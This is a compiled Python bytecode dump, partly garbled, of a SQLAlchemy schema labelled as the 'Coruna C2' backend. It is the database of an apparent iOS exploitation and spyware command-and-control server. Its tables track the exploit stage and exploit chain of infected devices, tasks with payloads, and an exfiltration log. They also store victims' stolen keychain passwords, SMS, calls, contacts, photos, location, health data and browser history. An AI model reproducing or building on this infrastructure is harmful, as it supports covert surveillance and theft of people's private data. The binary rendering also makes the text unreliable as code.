a  ?j2S@sdZddlmZddlmZmZmZmZmZmZm Z m Z m Z m Z ddl mZddlmZGdddeZGdd d eZGd d d eZGd d d eZGdddeZGdddeZGdddeZGdddeZGdddeZGdddeZGdddeZGdddeZGdddeZGd d!d!eZGd"d#d#eZGd$d%d%eZ Gd&d'd'eZ!Gd(d)d)eZ"Gd*d+d+eZ#Gd,d-d-eZ$d.S)/u4SQLAlchemy ORM 模型 - Coruna C2 数据库表结构)datetime) ColumnIntegerStringDateTimeText ForeignKeyJSON BigIntegerBooleanFloat) relationship)Basec@s\eZdZdZdZeedddZeedddddZ eedddZ eed ddZ eeddZ eedddZ eeddZeedddZeeejejd Zeeejd ZeeddZeed d d Zeed ddZeed ddZeed ddZeedd ZeeddZeed ddZeeddZeedddZ ee!ddZ"ee!ddZ#ee!ddZ$ee!ddZ%eeddZ&eed ddZ'eedddZ(eedddZ)eed ddZ*eed ddZ+eedddZ,eedddZ-ee.ddZ/ee.ddZ0ee.ddZ1ee.ddZ2ee3ddZ4eeddZ5eedd Z6eedd Z7eedd Z8ee.dd Z9eeddZ:e;ddddZe;ddddZ?e;ddddZ@e;ddddZAe;ddddZBe;ddddZCe;ddddZDe;ddddZEe;ddddZFe;ddddZGe;ddddZHe;d dddZIe;d!dddZJe;d"dddZKe;d#dddZLd$S)%Deviceu设备信息表devicesT primary_keyindex@F)uniquernullabler )defaultonupdaterZofflinerTaskdevicezall, delete-orphan)back_populatescascadeExfil DeviceLog FileRecord ContactRecord SMSRecord CallRecordKeychainRecord PhotoRecordClipboardRecord AppRecord ProcessRecord WiFiRecordBrowserHistoryRecord CalendarEvent NoteRecord HealthRecordN)M__name__ __module__ __qualname____doc__ __tablename__rridr device_uuid device_model ios_versionios_version_numericchipsetr user_agent ip_addressrrutcnow last_seen created_atfirst_exploit_atstatus exploit_stage exploit_chain runtime_typer has_pac pac_integrityscreen_resolution battery_level network_typer latitude longitudealtitudeaccuracylocation_updated_at phone_numberimei serial_numbericloud_account device_namelocaletimezoner Z total_memoryZavailable_memoryZ total_diskZavailable_diskr extranotes total_taskscompleted_tasks failed_tasks total_exfil last_activityr tasksexfillogsfilescontacts sms_messagescalls keychainsphotos clipboardsapps processes wifi_networksbrowser_historycalendar_events note_records health_datarprp#/root/Coruna-main/backend/models.pyr s|                      rc@seZdZdZdZeedddZeede ddddZ eeddd Z ee dd Z eed d d Zee dd Zee dd Zeeejd Zeedd Zeedd Zeed d Zeed d Zeedd Zeedd Zeee ddd ZedddZdS)ru 任务表r_Trrdevices.device_uuidFrrrrpendingrri,tasks.idrr N)r2r3r4r5r6rrr7rrr8 task_typerpayloadrCresult error_messagerrr?rA started_at completed_atpriorityZ retry_counttimeout_secondsr Z task_metadataZparent_task_idr rrprprprqr\s$         rc@seZdZdZdZeedddZeede ddddZ eeddd Z eed dd Z ee dd Zeedd Zeed dd Zee dd Zeed dd Zeeejd Zeedd Zeee d dd ZedddZdS)r"u数据外泄表r`TrrrrFrsrrrrurrvN)r2r3r4r5r6rrr7rrr8categorypathr descriptionr file_size file_pathcontent_preview mime_typerrr?rAr Zexfil_metadatatask_idr rrprprprqr"us    r"c@seZdZdZdZeedddZeede ddddZ eeddd Z eed dd Z ee dd Zeedd Zeeejd Zeedd Zeed d d ZedddZdS)r#u设备日志表Z device_logsTrrrrFrsrrrrINFOrrarvN)r2r3r4r5r6rrr7rrr8stagerCrmessage elapsed_msrrr?rAr Z log_metadata log_levelr rrprprprqr#s   r#c@seZdZdZdZeedddZeeddddZ ee ddZ eed ddZ eed dd d Z eed ddd ZeeejddZdS) AccessLogu6访问日志表 - 记录 group.html 被访问的情况Z access_logsTrrFrsrz /group.html)rrrPOSTrrN)r2r3r4r5r6rrr7riprr=refererrmethodrrr?rArprprprqrs rc@seZdZdZdZeedddZeede ddddZ eed dd Z eed dd Z ee dd Zeed dd Zeedd Zeedd Zeed dd Zeed dd Zeed ddZeeddZeeejdZeedd ZedddZdS)r$u文件记录表Z file_recordsTrrrrFrsrrrrrrtrrrrbrvN)r2r3r4r5r6rrr7rrr8Z remote_path file_namer rZ file_typer modified_date created_dateZ permissions local_pathZdownload_statusZdownload_progressrr?rAZ downloaded_atr rrprprprqr$s"     r$c@seZdZdZdZeedddZeede ddddZ eed dd Z ee dd Z ee dd Zee dd Zeed dd Zeed dd Zeedd Zeedd Zeed dd Zeeejd Zed ddZdS)r%u联系人记录表Zcontact_recordsTrrrrFrsrrrrrrcrvN)r2r3r4r5r6rrr7rrr8 display_namer Z phone_numbersZemails addressesZ organizationZ job_titlerZbirthdayrrYZ contact_idrr?rAr rrprprprqr%s     r%c@seZdZdZdZeedddZeede ddddZ eeddd Z eeddd Z ee dd Zeedd Zeedd Zeed dd Zeedd Zeedd Zeed d Zeeejd Zed ddZdS)r&u短信记录表Z sms_recordsTrrrrFrsrrrrrrdrvN)r2r3r4r5r6rrr7rrr8senderZ recipientrbodyrZ date_sentZ date_readZ message_idr Zis_readZis_sentZattachment_countrr?rAr rrprprprqr&s      r&c@seZdZdZdZeedddZeede ddddZ eeddd Z eed dd Z eedd Z eedd Zeed dd Zeed dd Zeeejd Zed ddZdS)r'u通话记录表Z call_recordsTrrrrFrsrrrrrrervN)r2r3r4r5r6rrr7rrr8rQZ call_typedurationrZ date_calledZ contact_namelocationrr?rAr rrprprprqr's  r'c@seZdZdZdZeedddZeede ddddZ eed dd Z eed dd Z ee dd Zeed dd Zeedd Zeedd Zeed dd Zeeddd Zeeejd Zed ddZdS)r(u钥匙串记录表Zkeychain_recordsTrrrrFrsrrrrrrfrvN)r2r3r4r5r6rrr7rrr8ZserviceZaccountrpasswordlabelrZ creation_dateZmodification_dateZ access_groupZ accessiblerr?rAr rrprprprqr(s   r(c@seZdZdZdZeedddZeede ddddZ eed dd Z eed dd Z eed dd Z eedd Zeedd Zeedd Zeedd Zeedd Zeedd Zeedd Zeed dd Zeed dd Zeedd Zeeejd ZedddZ dS)r)u照片记录表Z photo_recordsTrrrrFrsrrrrrrrgrvN)!r2r3r4r5r6rrr7rrr8Z album_namerrr rwidthheightZ orientationrZ date_takenZ date_modifiedr rrZthumbnail_pathr is_deletedrr?rAr rrprprprqr) s&        r)c@seZdZdZdZeedddZeede ddddZ ee dd Z eeddd Z eeejd Zeed dd Zeeejd Zed d dZdS)r*u剪贴板记录表Zclipboard_recordsTrrrrFrsrrrrrhrvN)r2r3r4r5r6rrr7rrr8rcontent content_typerrr? timestampapp_namerAr rrprprprqr*%s r*c@seZdZdZdZeedddZeede ddddZ eed dd Z eed dd Z eed dd Z eeddd Zeeddd Zeedd Zeedd Zeed dd Zeedd Zeedd Zeed dd Zeeejd ZedddZdS)r+u应用记录表Z app_recordsTrrrrFrsrrrrrrrirvN)r2r3r4r5r6rrr7rrr8Z bundle_idrrversionZ build_versionr Z bundle_sizerZ install_dateZ app_categoryr Z is_system_appZ is_hiddenZ icon_pathrr?rAr rrprprprqr+4s"    r+c@seZdZdZdZeedddZeede ddddZ eed dd Z eedd Z eedd Z eed dd Zeeddd Zeedd Zeedd Zeedd Zeed dd Zeeejd ZedddZdS)r,u进程记录表Zprocess_recordsTrrrrFrsrrrrrrrjrvN)r2r3r4r5r6rrr7rrr8namepidZppidruserr Z cpu_usager Z memory_usagerZ start_timerCrr?rAr rrprprprqr,Js     r,c@seZdZdZdZeedddZeede ddddZ eed dd Z eed dd Z eed dd Z eed dd Zeedd Zeedd Zeedd Zeedd Zeedd Zeedd Zeeejd ZedddZdS)r-uWiFi 网络记录表Z wifi_recordsTrrrrFrsrrrrrrrkrvN)r2r3r4r5r6rrr7rrr8ZssidZbssidZ security_typerZsignal_strengthZchannelZ frequencyrZlast_connectedr Zis_savedZ is_currentrr?rAr rrprprprqr-^s       r-c@seZdZdZdZeedddZeede ddddZ eeddd Z ee dd Z eed dd Zeed d Zeedd Zeedd Zeedd Zeed dd Zeeejd Zed ddZdS)r.u浏览器历史记录表Zbrowser_history_recordsTrrrrFrsrrrrrlrvN)r2r3r4r5r6rrr7rrr8Z browser_namerurltitleZ visit_countrZ last_visitedZ first_visitedr Z is_bookmarkedZ favicon_urlrr?rAr rrprprprqr.ss     r.c@seZdZdZdZeedddZeede ddddZ eed dd Z eed dd Z ee dd Zee dd Zeedd Zeedd Zeedd Zeeddd Zeedd Zeed dd Zeed dd Zee ejd ZedddZdS)r/u日历事件表rmTrrrrFrsrrrrrrrvN)r2r3r4r5r6rrr7rrr8rrr start_dateend_dater Zall_dayrrYr Z attendeesZ recurrenceZreminder_minutesZ calendar_nameZevent_idrr?rAr rrprprprqr/s"      r/c@seZdZdZdZeedddZeede ddddZ eed dd Z ee dd Z eed dd Zeedd Zeedd Zeedd Zeed dd Zeeejd ZedddZdS)r0u笔记记录表rnTrrrrFrsrrrrrrrvN)r2r3r4r5r6rrr7rrr8rrrfolderrrrr Z is_lockedZnote_idrr?rAr rrprprprqr0s    r0c@seZdZdZdZeedddZeede ddddZ eeddd Z ee dd Z eed dd Zeedd Zeedd Zeed dd Zeedd Zeeejd Zed ddZdS)r1u健康数据表Zhealth_recordsTrrrrFrsrrrrrrorvN)r2r3r4r5r6rrr7rrr8 data_typer valueunitrrrsourcer Zhealth_metadatarr?rAr rrprprprqr1s    r1c@sleZdZdZdZeedddZeeddddZ ee ddZ eed ddZ ee ejdd ZeeddZd S) SystemMetricu系统指标表Zsystem_metricsTrrFrsrrrN)r2r3r4r5r6rrr7rZ metric_namer Z metric_valueZ metric_unitrrr?rr Zmetric_metadatarprprprqrs rN)%r5r sqlalchemyrrrrrrr r r r sqlalchemy.ormr databaserrrr"r#rr$r%r&r'r(r)r*r+r,r-r.r/r0r1rrprprprqs0 0  R